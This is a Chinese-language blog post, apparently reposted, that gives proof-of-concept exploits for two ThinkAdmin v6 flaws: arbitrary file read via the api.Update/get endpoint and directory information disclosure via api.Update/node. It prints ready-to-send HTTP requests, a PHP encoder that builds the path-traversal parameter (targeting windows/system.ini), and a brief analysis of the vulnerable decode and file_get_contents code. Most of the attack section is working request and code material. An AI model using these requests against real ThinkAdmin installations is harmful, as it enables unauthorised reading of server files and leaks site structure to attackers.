ThinkAdmin_v6两个简单漏洞(文件读取+信息泄露)

news/2025/3/17 17:28:43/文章来源:https://www.cnblogs.com/0kooo-yz/p/18342156

侵权声明

本文章中的所有内容（包括但不限于文字、图像和其他媒体）仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料，我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人，并且认为您的作品被侵犯，请通过以下方式与我们联系： [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施，包括删除相关内容。

感谢您的理解与支持

POC

文件读取

//我读的是windows/system.ini
GET /public/index.php?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1b3b2x322s333b371b373d37382t311a2x322x HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

读取文件的路径需要编码

<?php  function encode($content)  
{  list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];  
for ($i = 0; $i < $length; $i++) {  $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);  
}  
return $chars;  
}  
//需要读取文件的路径 
$inputString = "../../..//windows/system.ini";  // 调用函数并输出结果  
$encodedString = encode($inputString);  
echo $encodedString;  ?>

信息泄露

POST /public/index.php?s=admin/api.Update/node HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22rules=%5B%22.%2F%22%5D

漏洞分析

文件读取

输入进来的encode用input接收的，更进input()函数

没有过滤，执行了一条语句就退出了

继续更进decode()函数，是一个解密函数，刚好上面就是加密函数

getRootPath()函数是获取网址根目录的绝度路径，最终的读取的文件路径即为网址根目录加输入进来的路径
'content' => base64_encode(file_get_contents($file))最终路径的文件内容读出并进行base64编码，所以如果想看到文件真正的文件内容需要解码一下。